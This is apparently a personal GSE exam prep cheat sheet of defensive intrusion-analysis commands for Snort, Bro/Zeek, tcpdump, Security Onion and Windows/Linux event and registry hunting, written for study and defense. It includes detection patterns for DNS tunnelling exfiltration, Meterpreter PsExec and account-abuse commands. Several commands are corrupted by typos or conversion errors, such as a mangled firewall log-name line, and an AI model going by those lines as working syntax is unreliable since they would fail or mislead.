GSE Prep

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Good Hunting -Starbuck

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Intrusion Analysis Tools

Tools listed under Intrusion Analysis:

Snort, Wireshark, tshark, tcpdump, Scapy, Zeek/Bro

Sniff While Scanning (Can be helpful)

```
tcpdump -nn host <ip>:sniff a particular ip
nmap -n -sT <ip>:shows 3 way handshake in tcpdump
```

Investigating

Squert is web accessible (https://55.64.10.202/squert/) but not as powerful as Sguil. Snorby is also web accessible. Sguil is not web accessible so you have to rdp but is way more powerful.

Investigating

Additionally in Wireshark you can go to File / Export Objects/ HTTP, highlight the entry with the correct content typeand Save As. From there you can submit to your Malware Analysis Server.

Sguil Alert Techniques

```
Make sure "Show Packet Data and "Show Rule" are checked
Right Click AlertID field, Network Miner - shows attacker details
Right Click AlertID field, Transcript (Same as Follow TCP Stream in Wireshark)
Right Click AlertID field, Wireshark, Right Click a packet, Follow TCP Stream
```

Analyze with Snort & OpenAppID (Service Detection beyond just looking at the port) sudo snort -c /etc/snort/snort.conf -pcap-dir=/pcap-links -k none ls -lart /var/log/snort :look for most recent appstats-unified.log sudo u2openappid /var/log/snort/appstats-unified.log.XXXXXXX | cut -f2 -d"," | sort | egrep -vi "http"|"https"|"dns"|"internet explorer" | uniq -c | sort -nr | head -n 25

Run Bro Analysis Against Pcap

File / save - save as .exe
sha1sum /tmp/carved.exe

bro -r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro

Investigating: Files

```
{\tt MZ} (EXE) Compilers Searchable Strings (unless attacker knows to take out)
"This program cannot be run in DOS mode" (most common)
"This program must be run under Win32"
"This program must be run under Win64"
-sometimes malware changes exe headers, i.e. "That program must be run..."
Pcap Strings Search
ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE" :-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0"
                                              :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET
                                              :alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search
Carving (Bro), AV Scanning, & Cross Referencing Logs
bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls -la /nsm/bro/extracted
                                               :default types - .exe .txt .jpg .png .html
clamscan /nsm/bro/extracted/*.exe
                                              :scan all exe's with clamAV
grep 'detectedMalware' *.log
                                              :show traces of malware in other bro logs
sha1sum /tmp/carved.exe
                                               :get hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
Carving (Wireshark, Manual)
Wireshark, right click, Follow TCP Stream
Edit / Export / Objects
                                               :HTTP/DICOM/SMB only
Save As / raw format
file /tmp/carved.raw
                                               :File Header Numbers Link
bless /tmp/carved.raw
                                               :alternative to file
Highlight bytes before "MZ" (exe example), Edit/Delete
```

:get hash of malware

```
Detecting Pivoting Internally (Client to Client Snort Rule)
alert tcp $CLIENT NET any -> $CLIENT NET any (msg:"ET POLICY PE EXE or DLL Windows file
download"; flow: established,to_client;content:"MZ"; byte_jump:4,58,relative,little;
content: "PE|0000|"; distance:-64; within:4; classtype:policy-violation; sid:5110419;
rev:18;)
Investigating: Connections
Bro: DNS Anomolous Traffic
cat dns.log |bro-cut query | sort -u | sed "s/^[a-zA-Z0-9-]*\.//q" | sort | uniq -c |
                                               :unique DNS queries from Bro
Bro: DNS NULL Traffic (Indicative of Iodine Exfil)
cat dns.log | bro-cut query qtype name | grep NULL
Bro: Abnormal User Agent Query (Almost certainly bad)
*exlude Mozilla, Opera, Microsoft-CryptAPI
cat http.log | bro-cut user agent | egrep -v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
 | uniq -c | sort -n
Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)
1:strings /pcaps/sample.pcap | grep -i User-Agent | sort -u
                                                               :-i=case-insensitive
2:strings /pcaps/sample.pcap | grep User-Agent| sort -u| awk '{pring length, $0;}' |
 sort -nr
Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User
 Agent in the search box, click Find. Analyze / Follow TCP Stream
X.509 Anomolous Certificates (Search for short entries)
*First connect to Alexa top 500 Internet sites via SSL
mkdir /tmp/bro
cd /tmp/bro
bro -C -r /pcaps/normal/https/alexa-top-500.pcap
                                                    :process pcap in bro
cat ssl.log | bro-cut issuer| sort -u > /tmp/alexa.txt :save off Top 500
bro -C -r /pcaps/sample.pcap
                                                     :next process target pcap
cat ssl.log | bro-cut issuer | sort -u > /tmp/sample.txt :save off Target issuers
cat /tmp/alexa.txt|awk '{print length, $0;}' | sort -nr
cat /tmp/sample.txt|awk '{print length, $0;}' | sort -nr
Alternate way to view:
tshark -r /pcaps/sample.pcap -T fields -R "ssl.handshake.certificate" -e
 x509sat.printableString
Bro: Transaction Data
bro -r /pcaps/sample.pcap
cat http.log | bro-cut user agent host | sort -u | grep kuku
                                                                  :two key fields
Bro-Cut Connections Example
cat conn.log || bro-cut id.orig h id.orig p id.resp h id.resp p proto service conn state
| grep 445 | egrep '^10\.5\.11\.52' | grep RST | cut -f 3 | sort | uniq
                                              :search SMB traffic from specific ip
Pcap Flow (Tshark)
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
Wireshark Statistical Data
*Often used for anomaly based detection
Statistics / Protocol Hierarchy
Elsa
Top Services
                                               :"-" packets not just defined by port
Top Responder Port
                                               :look for anomalous
Top nxdomain
                                               :non-existent domain
Files / MIME Types
                                               :look for executables
HTTP / Top Sites Hosting Exes
HTTP / Top User Agents
                                              :look for short User Agents/Uncommon
DNS Analysis Script Based on pcap
```

*insert hashes in hashQuery-TG & hashQuery-VT scripts

python dnsWatch.py sample.pcap

Passive Asset Inventory: PRADS

Look in Logs for Servers (Translate TCP/UDP) grep SERVER /var/log/prads-asset.log | sort -u | cut -d, -f1,3,4,6 | sed "s/,17,/,udp,/g" | sed "s/,6,/tcp,g" > /tmp/asset.csv gnumeric /tmp/asset :excel viewer equivalent

IDS Events and Rules

sudo sostat-quick :easiest way to pull mysql -uroot -Dsecurityonion db :enter mysql shell to pull queries SELECT COUNT(*) AS cnt, signature, signature id FROM event WHERE status=0 GROUP BY signature ORDER BY cnt DESC LIMIT 20; :show top 20 intrusion events SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411 GROUP BY src ip ORDER BY ip cnt DESC; :find the top ips for a specific event SELECT COUNT(*) as ip cnt, INET NTOA(src ip), INET NTOA(dst ip) FROM event WHERE status=0 and signature id=2101411 GROUP BY dst ip ORDER BY ip cnt DESC;

```
:same as previous but adds dest IPs
Windows Event Analysis (SEC504)
Unusual Log Entries
Check your logs for suspicious events, such as: "Event log service was stopped."
"Windows File Protection is not active on this system."
"The protected System file [file name] was not restored to its original, valid version
because the Windows File Protection..."
"The MS Telnet Service has started successfully."
Look for large number of failed logon attempts or locked out accounts.
To do this using the GUI, run the Windows event viewer:
C:\> eventvwr.msc
Using the command prompt:
C:\> eventquery.vbs | more
Or, to focus on a particular event log:
C:\> eventquery.vbs /L security
Other Unusual Items
Look for unusually sluggish performance and a single unusual process hogging the CPU:
Task Manager 2 Process and Performance tabs
Look for unusual system crashes, beyond the normal level for the given system.
Unusual Processes and Services
Look for unusual/unexpected processes, and focus on processes with User Name "SYSTEM"
or "Administrator" (or users in the Administrators' group). You need to be familiar
with normal processes and services and search for deviations.
Using the GUI, run Task Manager:
C:\> taskmgr.exe
Using the command prompt:
C:\> tasklist
C:\> wmic process list full
Also look for unusual services.
Using the GUI:
C:\> services.msc
Using the command prompt:
C:\> net start
C:\> sc query
For a list of services associated with each process:
C:\> tasklist /svc
Unusual Files and Registry Keys
Check file space usage to look for sudden major decreases in free space, using the GUI
(right-click on partition), or type:
C:\> dir c:\
Look for unusually big files: Start 2 Search 2 For Files of Folders... Search Options 2 Size 2 At
```

Least 10000KB

Look for strange programs referred to in registry keys associated with system start

```
up: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx
Note that you should also check the HKCU counterparts (replace {\tt HKLM} with {\tt HKCU} above).
Using the GUI:
C:\> regedit
Using the command prompt:
C:\> reg guery <reg key>
Unusual Network Usage
Look at file shares, and make sure each has a defined business purpose:
C:\> net view \\127.0.0.1
Look at who has an open session with the machine:
C:\> net session
Look at which sessions this machine has opened with other systems:
C:\> net use
Look at NetBIOS over TCP/IP activity:
C:\> nbtstat -S
Look for unusual listening TCP and UDP ports:
C:\> netstat -na
For continuously updated and scrolling output of this command every 5 seconds:
C:\> netstat -na 5
The -o flag shows the owning process id:
C:\> netstat -nao 5
The -b flag shows the executable name and the DLLs loaded for the network connection.
C:\> netstat -naob 5
Note that the -b flag uses excessive CPU resources.
Again, you need to understand normal port usage for the system and look for
deviations.
Also check Windows Firewall configuration:
C:\> netsh firewall show config
Unusual Scheduled Tasks
Look for unusual scheduled tasks, especially those that run as a user in the
Administrators group, as SYSTEM, or with a blank user name.
Using the GUI, run Task Scheduler:
Start Programs Accessories System Tools Scheduled Tasks
Using the command prompt:
C:\> schtasks
Check other autostart items as well for unexpected entries, remembering to check user
autostart directories and registry keys.
Using the GUI, run msconfig and look at the Startup tab:
Start 2 Run, msconfig.exe
Using the command prompt:
C:\> wmic startup list full
Unusual Accounts
Look for new, unexpected accounts in the Administrators group:
C:\> lusrmar.msc
Click on Groups, Double Click on Administrators, then check members of this group.
This can also be done at the command prompt:
C:\> net user
C:\> net localgroup administrators
Linux Event Analysis (SEC504)
Unusual Accounts
Look in /etc/passwd for new accounts in sorted list by UID:
# sort -nk3 -t: /etc/passwd | less
Normal accounts will be there, but look for new, unexpected accounts, especially with
UID < 500.
Also, look for unexpected UID 0 accounts:
# egrep ':0+:' /etc/passwd
On systems that use multiple authentication methods:
# getent passwd | egrep ':0+:'
Look for orphaned files, which could be a sign of an attacker's temporary account that
has been deleted.
# find / -nouser -print
```

Unusual Log Entries

```
Look through your system log files for suspicious events, including:
"entered promiscuous mode" L
arge number of authentication or login failures from either local or remote access
tools (e.g., telnetd, sshd, etc.)
Remote Procedure Call (rpc) programs with a log entry that includes a large number (>
20) strange characters (such as ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM) For systems running web servers: Larger than normal number of Apache logs saying
"error" Reboots and/or application restarts
Other Unusual Items
Sluggish system performance:
$ uptime - Look at "load average"
Excessive memory use: $ free
Sudden decreases in available disk space:
$ df
On Debian Linux run debsums to verify packages
# debsums
Unusual Processes and Services
Look at all running processes:
# ps -aux
Get familiar with "normal" processes for the machine.
Look for unusual processes. Focus on processes with root (UID 0) privileges.
If you spot a process that is unfamiliar, investigate in more detail using:
# lsof -p [pid]
This command shows all files and ports used by the running process.
If your machine has it installed, run chkconfig to see which services are enabled at
Look for services initiated through rc.d or xinetd
# service -status-all
Unusual Files
Look for unusual SUID root files:
# find / -uid 0 -perm -4000 -print
This requires knowledge of normal SUID files.
Look for unusual large files (greater than 10 MegaBytes):
# find / -size +10000k -print
This requires knowledge of normal large files.
Look for files named with dots and spaces ("...", ".. ", ". ", and " ") used to
camouflage files:
# find / -name "..." -print
# find / -name ".. " -print
# find / -name ". " -print
# find / -name " " -print
Look for processes running out of or accessing files that have been unlinked (i.e.,
link count is zero). An attacker may be hiding data in or running a backdoor from such
files:
# lsof +L1
On a Linux machine with RPM installed (RedHat, Mandrake, etc.), run the RPM tool to
verify packages:
# rpm -Va | sort
This checks size, MD5 sum, permissions, type, owner, and group of each file with
information from RPM database to look for changes. Output includes:
S - File size differs
M - Mode differs (permissions)
5 - MD5 sum differs
D - Device number mismatch
L - readLink path mismatch
U - user ownership differs
G - group ownership differs
T - modification time differs
Pay special attention to changes associated with items in /sbin, /bin, /usr/sbin, and
/usr/bin.
In some versions of Linux, this analysis is automated by the built-in check-packages
script.
Unusual Network Usage
Look for promiscuous mode, which might indicate a sniffer:
# ip link | grep PROMISC
```

Note that the ifconfig doesn't work reliably for detecting promiscuous mode on Linux kernel 2.4, so please use "ip link" for detecting it.

Look for unusual port listeners:

netstat -nap

Get more details about running processes listening on ports:

lsof -i

These commands require knowledge of which TCP and UDP ports are normally listening on your system. Look for deviations from the norm.

Look for unusual ARP entries, mapping IP address to MAC addresses that aren't correct for the LAN:

arp -a

This analysis requires detailed knowledge of which addresses are supposed to be on the LAN. On a small and/or specialized LAN (such as a DMZ), look for unexpected IP addresses.

Unusual Scheduled Tasks

Look for cron jobs scheduled by root and any other UID 0 accounts:

crontab -u root -l

Look for unusual system-wide cron jobs:

cat /etc/crontab

ls /etc/cron.*

DNS Event Analysis (SEC511)

Inspecting DNS cache is good short term investigative tool. Look for long randomized host names, short host names, txt requests and responses containing large amount of data, same hostnames that aren't in Alexa top 500 being pinged regularly (becon behavior), non-existent domains.

Article on Network Forensics with Windows DNS Analytical Logging

DNS IOCs

- -requests to thousands or hosts or subdomains in one domain
- -large DNS queries with high entropies
- -large txt record responses
- -high volumes of DNS resolution failures

DNS Analysis Scripts

Long-DNS Query :processes bind query logs, reports names > 60 bytes
Failed-DNS-Query :process bind response logs, tracks failed DNS responses - NX domains

Dump DNS Cache with bind command

Rndc dumpdb

Powershell Command to dump cache

Show-DnsServerCache

Enable DNS Query Logging on Windows 2008/2012

DNS Manager / Action / Properties / Debug Logging

Signs of Meterpreter PsExec

7045 is an indicator of psexec, a great way to find lateral movement in a windows network — the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but MetaSploit's generates Event ID 7030 after.

Windows Event Analysis (SEC511)

SEC511 Analysis

Search Alertnate Data Streams for Outside exes dir /R /s | find "Zone.Identifier"

Long Tail Analysis of Events (Look for logs with only 1 or 2 events)
Get-WinEvent -Path \labs\savedFile.evtx| Group-Object id -NoElement| sort count

Suppress Errors

\$ErrorActionPreference='silentlycontinue'

Add -wrap to view full details

May have to run Set-ExecutionPolicy RemoteSigned; after set back to Restricted

```
Doing Remotely (remote systems must have Management Framework Core installed)
Enable-PSRemoting -Force
For Workgroup environments:
Set-Item wsman:\localhost\client\trustedhosts <scanning computer name>
Restart-Service WinRM
Search User Creation Logs (Remember especially look for local accounts created):
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4720}| fl | more
Search for the command net user (used to add users)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object -Property message -
like "*net user*"}
Search User Group Add (Escalation of Privileges)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4732}| fl | more
Search for the command net localgroups (used for escalation of priveleges)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object -Property message -
like "*net localgroups*"}
Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl
Search For Signs of PSExec (remember 7045 followed by 7030)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=7030,7045}| fl
Search For Signs of USB Insertion
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx";
ID=7045,10000,10001,10100,20001,20002,20003,24576,24577,24579}
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| Where {$ .Message -like
"*[[SB*"]
NEXT Search For Logs Correlating to that time stamp
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| findstr ":20:07"
Search AppLocker For Blocks (3/6 - would have been blocked; 4/7-blocked)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=8003,8006,8004,8007}
Search EMET Blocked malware
Get-WinEvent @{LogName="application"; ProviderName="EMET"; id=2}
Search For FireWall Being Disabled
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=2003}| f1
Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl
GET EVERYTHING ABOVE ALL AT ONCE (throw code below in check-critical events.ps1):
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20002,20003,24576,24577,24579}
\texttt{Get-WinEvent} \ \ \texttt{-FilterHashTable} \ \ \texttt{@\{LogName="Microsoft-Windows-Windows Firewall With Market Firewall With With With Market Firewall With With Market Firewall With 
Advanced Security/Firewall"; ID=2003}
<u>Windows Event Log Cheat Sheet</u>
<u>View all events in the live system Event Log:</u>
PS C:\> Get-WinEvent -LogName system
View all events in the live security Event Log (requires administrator PowerShell):
PS C:\> Get-WinEvent -LogName security
View all events in the file example.evtx, format list (fl) output:
PS C:\> Get-WinEvent -Path example.evtx | fl
View all events in example.evtx, format GridView output:
PS C:\> Get-WinEvent -Path example.evtx | Out-GridView
Perform long tail analysis of example.evtx:
PS C:\> Get-WinEvent -Path example.evtx | Group-Object id -NoElement | sort count
```

```
Pull events 7030 and 7045 from system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"; ID=7030,7045}
Same as above, but use the live system event log:
PS C:\> Get-WinEvent -FilterHashtable @{logname="system"; id=7030,7045}
Search for events containing the string "USB" in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | Where {$ .Message -like
"*USB*"}
'grep'-style search for lines of events containing the case insensitive string "USB"
in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | fl | findstr /i USB
Pull all errors (level=2) from application.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2}
Pull all errors (level=2) from application.evtx and count the number of lines ('wc'-
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2} | Measure-
Object -Line
AppLocker
Pull all AppLocker logs from the live AppLocker event log (requires Applocker):
PS C:\> Get-WinEvent -logname "Microsoft-Windows-AppLocker/EXE and DLL"
Search for live AppLocker EXE/MSI block events: "(EXE) was prevented from running":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8004}
Search for live AppLocker EXE/MSI audit events: "(EXE) was allowed to run but would
have been prevented from running if the AppLocker policy were enforced":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8003}
EMET
Pull all EMET logs from the live Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{logname="application"; providername="EMET"}
Pull all EMET logs from a saved Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{path="application.evtx"; providername="EMET"}
Sysmon
Pull all Sysmon logs from the live Sysmon Event log (requires Sysmon and an admin
PowerShell):
PS C:\> Get-WinEvent -LoqName "Microsoft-Windows-Sysmon/Operational"
Pull Sysmon event ID 1 from the live Sysmon Event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-
Sysmon/Operational"; id=1}
Windows Defender
Pull all live Windows Defender event logs
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational"}
Pull Windows Defender event logs 1116 and 1117 from the live event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational";id=1116,1117}
Pull Windows Defender event logs 1116 (malware detected) and 1117 (malware blocked)
from a saved evtx file
PS C:\> Get-WinEvent -FilterHashtable @{path="WindowsDefender.evtx";id=1116,1117}
Registry Analysis (SEC511)
RegistryScript.ps1
$user="user"
$password="password"
```

\$array = @("ip,ip,ip")

```
foreach ($ip in $array) {
  net use \\$ip $password /u:$user | out-null
  $ip
  reg query \\$ip\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  \verb"reg query \\sip\HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
 reg query \\$ip\HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run
 reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Run 2>
 reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\RunOnce
2> $null
 net use \\$ip del
Analysis of RegistryScript.ps1
Look for signs of entropy in the service names
Trimmed up script (.ps1)
# Ignore these keys
$whitelist="iTunesHelper", "SunJavaUpdateSched", "Adobe ARM", "QuickTime Task"
# Initialize the $count HashTable (associative array)
$count=@{}
# Read file, find lines with \grave{O}REG SZ\acute{O}
$keynames=Get-Content \labs\reg.txt|select-string "REG SZ"
# Iterate through $keynames one key at a time
foreach ( $key in $keynames ) {
  \# Remove \grave{O} REG SZ\acute{O} to the end of the line.
  # Same as this regex: s/ REG_SZ.*//g
  $key=$key -replace " *REG SZ.*", ""
  # Remove extra spaces
  $key=$key.trim()
  # If it's not whitelisted
  if (-not ($whitelist -contains $key)) {
    \# Increment count for that key by 1
    $count[$key]++
  }
# print each key and its count, sorted from highest to lowest
$count.GetEnumerator() | sort value -Descending
```

IA: Snort Essentials

IDS Events and Rules (Security Onion)

sudo sostat-quick :easiest way to pull mysql -uroot -Dsecurityonion db :enter mysql shell to pull queries

Show top 20 intrusion events

SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature ORDER BY cnt DESC LIMIT 20;

Find the top ips for a specific event SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411 GROUP BY src_ip ORDER BY ip_cnt DESC;

Same as previous but adds dest IPs

SELECT COUNT(*) as ip_cnt, INET_NTOA(src_ip), INET_NTOA(dst_ip) FROM event WHERE status=0 and signature id=2101411 GROUP BY dst ip ORDER BY ip cnt DESC;

Snort Setup

/bin: location for exes/libraries

/rules: location of files that contain IDS rules; any file w/.rules extension

/etc: location of config files, including snort.conf (primary config)

/doc: readme files and Snort manual

snort.conf

include \$RULE PATH/file.rules :include a rules file #include \$RULE PATH/file.rules :exclude a rules file

Snort quick syntax

- -C: print payload with chars only not hex
- -i: specify network int; based on # entries found with snort -W
- -1: Directory where log/alert files will be stored
- -L: Log/alert filename
- -v: verbose output
- -P: Set snap length of packet to capture (default 1514 bytes)
- -c: Use specific rules/config file
- -r: read in a capture file

Snort rule syntax

General syntax:

action proto src ip src port -> dst ip dst port (msg; payload detect pattern; modifier; sid; rev:1:)

Example

alert ip any any -> any any (msg:"Bomb threat";content:"bomb"; nocase; sid:9999; rev:1;)

Payload Detection ASCII text criteria: Example: Content:"<insert text here>"; content:"bomb"

Payload Detection Hex criteria: Example:

Content:" | <insert hex digits here > | "; content:"|DE AD BE EF|";

Pcap Analysis with Snort

snort -r file.pcap :run against a single pcap snort --pcap-filter=*.cap --pcap-dir=/home/pcaps:run against multiple pcaps in a fldr

Then review alerts from snort/log alert file with pcap of alert traffic.

IA: Bro/Zeke Essentials

Basic Bro/Zeke Analysis Against Pcap

bro -r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro

Investigating: Files

```
Carving (Bro), AV Scanning, & Cross Referencing Logs
bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
                                              :default types - .exe .txt .jpg .png .html
ls -la /nsm/bro/extracted
clamscan /nsm/bro/extracted/*.exe
                                               :scan all exe's with clamAV
grep 'detectedMalware' *.log
                                               :show traces of malware in other bro logs
shalsum /tmp/carved.exe
                                               :qet hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
Investigating: Connections
Bro: DNS Anomolous Traffic
cat dns.log |bro-cut query | sort -u | sed "s/^[a-zA-Z0-9-]*\.//g"| sort | uniq -c |
                                               :unique DNS queries from Bro
Bro: DNS NULL Traffic (Indicative of Iodine Exfil)
cat dns.log | bro-cut query qtype name | grep NULL
Bro: Abnormal User Agent Query (Almost certainly bad)
*exlude Mozilla, Opera, Microsoft-CryptAPI
cat http.log | bro-cut user agent | egrep -v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
 | uniq -c | sort -n
Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)
                                                                  :-i=case-insensitive
1:strings /pcaps/sample.pcap | grep -i User-Agent | sort -u
2:strings /pcaps/sample.pcap | grep User-Agent| sort -u| awk '{pring length, $0;}' |
 sort -nr
Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User
 Agent in the search box, click Find. Analyze / Follow TCP Stream
X.509 Anomolous Certificates (Search for short entries)
*First connect to Alexa top 500 Internet sites via SSL
mkdir /tmp/bro
cd /tmp/bro
bro -C -r /pcaps/normal/https/alexa-top-500.pcap
                                                    :process pcap in bro
cat ssl.log | bro-cut issuer| sort -u > /tmp/alexa.txt :save off Top 500
bro -C -r /pcaps/sample.pcap
                                                     :next process target pcap
cat ssl.log | bro-cut issuer | sort -u > /tmp/sample.txt :save off Target issuers
cat /tmp/alexa.txt|awk '{print length, $0;}' | sort -nr
cat /tmp/sample.txt|awk '{print length, $0;}' | sort -nr
Alternate way to view:
tshark -r /pcaps/sample.pcap -T fields -R "ssl.handshake.certificate" -e
 x509sat.printableString
Bro: Transaction Data
bro -r /pcaps/sample.pcap
cat http.log | bro-cut user agent host | sort -u | grep kuku
                                                                  :two key fields
Bro-Cut Connections Example
cat conn.log || bro-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service conn_state
| grep 445 _ egrep '^10\.5\.11\.52' | grep RST | cut -f 3 | sort | uniq
                                              :search SMB traffic from specific ip
```

IA: TCPDump Essentials

Sniffing Packets

To sniff using

Most Important Options

- -w store both connection info and actual data into a file
- -s tells topdump how much of packet should be captured
- -C in conjunction w/-w to save captures as multiple sequential captures

Command Line Options

- -A Print frame payload in ASCII -c <count> Exit after capturing count packets
- -D List available interfaces -e Print link-level headers
- -F <file> Use file as the filter expression
- -G <n> Rotate the dump file every n seconds
- -i <iface> Specifies the capture interface -K Don't verify TCP checksums
- -L List data link types for the interface -n Don't convert addresses to names
- -p Don't capture in promiscuous mode -q Quick output
- -r <file> Read packets from file -s <len> Capture up to len bytes per packet
- -S Print absolute TCP sequence numbers -t D -tttt print date as $1^{\rm st}$ field of packet before time -t Don't print timestamps
- -v[v[v]] Print more verbose output -w <file> Write captured packets to file
- -x Print frame payload in hex -X Print frame payload in hex and ASCII
- -y <type> Specify the data link type -Z <user> Drop privileges from root to user

Capture Filter Primitives

[src|dst] host <host> Matches a host as the IP source, destination, or either ether [src|dst] host <ehost> Matches a host as the Ethernet source, destination, or

gateway host <host> Matches packets which used host as a gateway

[src|dst] net <network>/<len> Matches packets to or from an endpoint residing in

[tcp|udp] [src|dst] port <port> Matches TCP or UDP packets sent to/from port

[tcp|udp] [src|dst] portrange <p1>-<p2> Matches TCP or UDP packets to/from a port in the given range

less <length> Matches packets less than or equal to length

greater <length> Matches packets greater than or equal to length

(ether|ip) broadcast Matches Ethernet or IPv4 broadcasts

(ether|ip|ip6) multicast Matches Ethernet, IPv4, or IPv6 multicasts

type (mgt|ctl|data) [subtype <subtype>] Matches 802.11 frames based on type and optional subtype

vlan [<vlan>] Matches 802.1Q frames, optionally with a VLAN ID of vlan mpls [<label>] Matches MPLS packets, optionally with a label of label

<expr> <relop> <expr> Matches packets by an arbitrary expression

Protocols

Arp	ether	fddi	icmp	ip	ip6
Link	ppp	radio	rarp	slip	tcp
Τr	abu	wlan			

TCP Flags

tcp-urg	tcp-rst	tcp-ack	tcp-syn	tcp-psh	tcp-fin

Modifiers

! or not && or and II or or

Examples

! udp dst port not 53 :UDP not bound for port 53 host 10.0.0.1 && host 10.0.0.2 :Traffic between these hosts tcp dst port 80 or 8080 :Packets to either TCP port

ICMP Types

```
icmp-echoreply icmp-routeradvert icmp-tstampreply
icmp-unreach icmp-routersolicit icmp-ireq
icmp-sourcequench icmp-timxceed icmp-ireqreply
icmp-redirect icmp-paramprob icmp-maskreq
icmp-echo icmp-tstamp icmp-maskreply
```

Sniff While Scanning (Can be helpful)

Investigating: Files

```
MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)
"This program cannot be run in DOS mode" (most common)
"This program must be run under Win32"
"This program must be run under Win64"
-sometimes malware changes exe headers, i.e. "That program must be run..."

Pcap Strings Search
ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE" :-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0" :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET :alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search
```

```
Traffic Analysis
Pcap Flow (Tshark)
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
Filter IP & Port
tcpdump -r file.pcap -nnvvx 'dst host 192.168.2.109 and src port 2056'
Find HTTP User Agents
tcpdump -r file.pcap | grep 'User-Agent:'
tcpdump -vvAls0 | grep 'User-Agent:'
Cleartext GET Requests
tcpdump -r file.pcap | grep 'GET' tcpdump -vvAls0 | grep 'GET'
Find HTTP Host Headers
tcpdump -r file.pcap | grep 'Host:'
tcpdump -vvAls0 | grep 'Host:'
Find HTTP Cookies
tcpdump -r file.pcap | grep 'Set-Cookie|Host:|Cookie:'
tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'
Find SSH Connections
*This one works regardless of what port the connection comes in on, because it's
getting the banner response.
tcpdump -r file.pcap 'tcp[(tcp[12]>>2):4] = 0x5353482D'
tcpdump 'tcp[(tcp[12]>>2):4] = 0x5353482D'
Find DNS Traffic
tcpdump -r file.pcap port 53
tcpdump -vvAs0 port 53
Find FTP Traffic
tcpdump -r file.pcap port ftp or ftp-data
tcpdump -vvAs0 port ftp or ftp-data
Find Traffic with Evil Bit
```

Common Investigation Queries

```
Computer Information
tcpdump -r udp-icmp.pcap -nnn -t -c 200|awk '{print $2}'|cut -d. -f1,2,3,4|sort|uniq -
c|sort -nr|head -n 20
                                             :top talkers
tcpdump -r file.pcap -e
                                             :find MAC Address
tcpdump -r file.pcap -e host <ip>
